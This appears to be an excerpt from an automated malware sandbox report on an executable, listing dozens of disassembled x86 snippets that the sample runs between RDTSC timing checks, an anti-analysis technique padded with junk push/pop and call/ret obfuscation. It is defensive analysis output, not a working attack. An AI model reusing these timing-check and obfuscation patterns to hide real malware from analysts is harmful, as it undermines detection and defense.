Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13AB1BF second address: 13AB24A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDF09105E3Ch 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007FDF09105E46h 0x00000012 nop 0x00000013 push 00000000h 0x00000015 push ecx 0x00000016 call 00007FDF09105E38h 0x0000001b pop ecx 0x0000001c mov dword ptr [esp+04h], ecx 0x00000020 add dword ptr [esp+04h], 00000014h 0x00000028 inc ecx 0x00000029 push ecx 0x0000002a ret 0x0000002b pop ecx 0x0000002c ret 0x0000002d jmp 00007FDF09105E48h 0x00000032 mov si, 2078h 0x00000036 xchg eax, ebx 0x00000037 jnc 00007FDF09105E4Eh 0x0000003d push eax 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 push edx 0x00000042 pop edx 0x00000043 push ecx 0x00000044 pop ecx 0x00000045 popad 0x00000046 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13AB6F9 second address: 13AB70E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FDF08CE3B9Ch 0x0000000e rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13AB70E second address: 13AB713 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13ABFC4 second address: 13ABFC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13AD017 second address: 13AD01B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13AD98A second address: 13AD9AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF08CE3B9Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FDF08CE3B9Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13AEBA5 second address: 13AEBB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13AF91A second address: 13AF91F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13AF91F second address: 13AF925 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13B13AF second address: 13B13B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13B13B3 second address: 13B13DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF09105E3Bh 0x00000007 jmp 00007FDF09105E47h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13B1A64 second address: 13B1A6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13B1A6A second address: 13B1A6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13B23ED second address: 13B23F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13B23F3 second address: 13B23F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13B6B39 second address: 13B6B42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13B6B42 second address: 13B6B46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13B7D68 second address: 13B7DAC instructions: 0x00000000 rdtsc 0x00000002 je 00007FDF08CE3B96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push 00000000h 0x00000010 push edx 0x00000011 call 00007FDF08CE3B98h 0x00000016 pop edx 0x00000017 mov dword ptr [esp+04h], edx 0x0000001b add dword ptr [esp+04h], 0000001Ah 0x00000023 inc edx 0x00000024 push edx 0x00000025 ret 0x00000026 pop edx 0x00000027 ret 0x00000028 push esi 0x00000029 mov ebx, 21116120h 0x0000002e pop edi 0x0000002f push 00000000h 0x00000031 mov ebx, dword ptr [ebp+122D37D8h] 0x00000037 push eax 0x00000038 push eax 0x00000039 push eax 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13B7F31 second address: 13B7F3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13BAD7C second address: 13BAD9B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF08CE3B9Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FDF08CE3B9Ch 0x00000010 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13B9065 second address: 13B9075 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDF09105E3Bh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13BEF66 second address: 13BEF6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13C0520 second address: 13C0524 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13C0524 second address: 13C0540 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF08CE3BA8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13BF6F2 second address: 13BF765 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 mov edi, 3832BFBAh 0x0000000d push dword ptr fs:[00000000h] 0x00000014 sub dword ptr [ebp+124529E6h], esi 0x0000001a mov dword ptr fs:[00000000h], esp 0x00000021 push ecx 0x00000022 xor ebx, dword ptr [ebp+122D1A38h] 0x00000028 pop edi 0x00000029 mov eax, dword ptr [ebp+122D03A5h] 0x0000002f push 00000000h 0x00000031 push eax 0x00000032 call 00007FDF09105E38h 0x00000037 pop eax 0x00000038 mov dword ptr [esp+04h], eax 0x0000003c add dword ptr [esp+04h], 00000015h 0x00000044 inc eax 0x00000045 push eax 0x00000046 ret 0x00000047 pop eax 0x00000048 ret 0x00000049 jmp 00007FDF09105E3Dh 0x0000004e push FFFFFFFFh 0x00000050 clc 0x00000051 push eax 0x00000052 push eax 0x00000053 push edx 0x00000054 jmp 00007FDF09105E44h 0x00000059 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13BF765 second address: 13BF76B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13C1343 second address: 13C1354 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jp 00007FDF09105E36h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13C2426 second address: 13C2430 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FDF08CE3B96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13C2430 second address: 13C243A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FDF09105E36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13C15A8 second address: 13C15B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13C243A second address: 13C24DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF09105E43h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e jmp 00007FDF09105E46h 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push ebx 0x00000018 call 00007FDF09105E38h 0x0000001d pop ebx 0x0000001e mov dword ptr [esp+04h], ebx 0x00000022 add dword ptr [esp+04h], 00000019h 0x0000002a inc ebx 0x0000002b push ebx 0x0000002c ret 0x0000002d pop ebx 0x0000002e ret 0x0000002f jmp 00007FDF09105E46h 0x00000034 mov edi, dword ptr [ebp+122D37FCh] 0x0000003a push 00000000h 0x0000003c push 00000000h 0x0000003e push edi 0x0000003f call 00007FDF09105E38h 0x00000044 pop edi 0x00000045 mov dword ptr [esp+04h], edi 0x00000049 add dword ptr [esp+04h], 00000019h 0x00000051 inc edi 0x00000052 push edi 0x00000053 ret 0x00000054 pop edi 0x00000055 ret 0x00000056 mov bh, B7h 0x00000058 xchg eax, esi 0x00000059 push eax 0x0000005a push edx 0x0000005b jp 00007FDF09105E3Ch 0x00000061 jbe 00007FDF09105E36h 0x00000067 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13C24DF second address: 13C24E4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13C24E4 second address: 13C24F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13C56BC second address: 13C56C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13C56C0 second address: 13C56F2 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FDF09105E48h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007FDF09105E3Eh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13C56F2 second address: 13C56F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13C56F9 second address: 13C570E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF09105E3Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 jp 00007FDF09105E36h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13C7E41 second address: 13C7E45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13C37B2 second address: 13C37B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13C5FDF second address: 13C5FE9 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FDF08CE3B96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13C5FE9 second address: 13C5FF3 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FDF09105E3Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13C26FD second address: 13C2702 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13C8044 second address: 13C804B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13C815A second address: 13C8176 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF08CE3BA8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13C9F4D second address: 13C9FD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDF09105E46h 0x00000009 popad 0x0000000a popad 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push eax 0x0000000f call 00007FDF09105E38h 0x00000014 pop eax 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 add dword ptr [esp+04h], 00000015h 0x00000021 inc eax 0x00000022 push eax 0x00000023 ret 0x00000024 pop eax 0x00000025 ret 0x00000026 push 00000000h 0x00000028 jmp 00007FDF09105E40h 0x0000002d push 00000000h 0x0000002f mov edi, dword ptr [ebp+122D39E0h] 0x00000035 push ecx 0x00000036 mov dword ptr [ebp+12460C8Eh], ebx 0x0000003c pop edi 0x0000003d xchg eax, esi 0x0000003e js 00007FDF09105E42h 0x00000044 jnl 00007FDF09105E3Ch 0x0000004a push eax 0x0000004b jo 00007FDF09105E66h 0x00000051 push eax 0x00000052 push edx 0x00000053 jmp 00007FDF09105E43h 0x00000058 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13CA1B7 second address: 13CA1BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13CAFE0 second address: 13CB02B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 jnc 00007FDF09105E36h 0x0000000c pop ebx 0x0000000d popad 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push ebp 0x00000012 call 00007FDF09105E38h 0x00000017 pop ebp 0x00000018 mov dword ptr [esp+04h], ebp 0x0000001c add dword ptr [esp+04h], 00000019h 0x00000024 inc ebp 0x00000025 push ebp 0x00000026 ret 0x00000027 pop ebp 0x00000028 ret 0x00000029 mov dword ptr [ebp+122D1A76h], esi 0x0000002f push 00000000h 0x00000031 mov ebx, dword ptr [ebp+122D37A8h] 0x00000037 push 00000000h 0x00000039 mov bx, 5341h 0x0000003d xchg eax, esi 0x0000003e push eax 0x0000003f push edx 0x00000040 push edx 0x00000041 push eax 0x00000042 pop eax 0x00000043 pop edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13CB02B second address: 13CB031 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13CD09A second address: 13CD0A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13CD0A0 second address: 13CD0AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13CB1F7 second address: 13CB204 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jl 00007FDF09105E36h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 1362A8C second address: 1362AB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDF08CE3BA3h 0x00000009 popad 0x0000000a jmp 00007FDF08CE3B9Fh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13CB204 second address: 13CB2A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF09105E3Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ebx 0x0000000e call 00007FDF09105E38h 0x00000013 pop ebx 0x00000014 mov dword ptr [esp+04h], ebx 0x00000018 add dword ptr [esp+04h], 0000001Ch 0x00000020 inc ebx 0x00000021 push ebx 0x00000022 ret 0x00000023 pop ebx 0x00000024 ret 0x00000025 mov ebx, dword ptr [ebp+122D29DCh] 0x0000002b push dword ptr fs:[00000000h] 0x00000032 mov dword ptr fs:[00000000h], esp 0x00000039 push 00000000h 0x0000003b push edi 0x0000003c call 00007FDF09105E38h 0x00000041 pop edi 0x00000042 mov dword ptr [esp+04h], edi 0x00000046 add dword ptr [esp+04h], 00000017h 0x0000004e inc edi 0x0000004f push edi 0x00000050 ret 0x00000051 pop edi 0x00000052 ret 0x00000053 mov eax, dword ptr [ebp+122D0411h] 0x00000059 mov edi, 2F9DDFF1h 0x0000005e push FFFFFFFFh 0x00000060 pushad 0x00000061 sub dword ptr [ebp+124492B2h], eax 0x00000067 movsx eax, bx 0x0000006a popad 0x0000006b nop 0x0000006c jng 00007FDF09105E4Bh 0x00000072 push eax 0x00000073 push eax 0x00000074 pushad 0x00000075 push eax 0x00000076 push edx 0x00000077 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 1362AB3 second address: 1362ACA instructions: 0x00000000 rdtsc 0x00000002 jns 00007FDF08CE3BA2h 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 136612E second address: 1366147 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FDF09105E36h 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f pop ebx 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 jbe 00007FDF09105E36h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 135BF02 second address: 135BF1D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007FDF08CE3B9Eh 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 135BF1D second address: 135BF64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FDF09105E47h 0x0000000d pushad 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 jmp 00007FDF09105E3Bh 0x00000015 jmp 00007FDF09105E49h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 135BF64 second address: 135BF6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13D6C0A second address: 13D6C10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13D6C10 second address: 13D6C14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13D6C14 second address: 13D6C1E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13D6C1E second address: 13D6C28 instructions: 0x00000000 rdtsc 0x00000002 js 00007FDF08CE3B96h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13D6D9D second address: 13D6DA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13E1C00 second address: 13E1C1A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF08CE3BA4h 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13E1C1A second address: 13E1C20 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13E1ED6 second address: 13E1EED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FDF08CE3B96h 0x0000000a jmp 00007FDF08CE3B9Dh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13E20A6 second address: 13E20D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDF09105E3Bh 0x00000009 popad 0x0000000a pushad 0x0000000b jbe 00007FDF09105E36h 0x00000011 jmp 00007FDF09105E46h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13E221D second address: 13E223A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF08CE3BA6h 0x00000007 pushad 0x00000008 push edx 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13E223A second address: 13E2261 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FDF09105E45h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jnp 00007FDF09105E42h 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13E267E second address: 13E26A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF08CE3BA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jbe 00007FDF08CE3B9Ch 0x0000000f rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13E71C2 second address: 13E71D8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jbe 00007FDF09105E42h 0x0000000e jno 00007FDF09105E36h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13E71D8 second address: 13E71DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13E71DC second address: 13E71E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FDF09105E36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13E71E6 second address: 13E71EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13E71EA second address: 13E71F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13ED54E second address: 13ED56B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007FDF08CE3B96h 0x00000009 jmp 00007FDF08CE3BA2h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13ED56B second address: 13ED571 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13EC27A second address: 13EC291 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 jmp 00007FDF08CE3B9Bh 0x0000000e push edx 0x0000000f pop edx 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13EC291 second address: 13EC2AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDF09105E45h 0x00000009 rdtsc
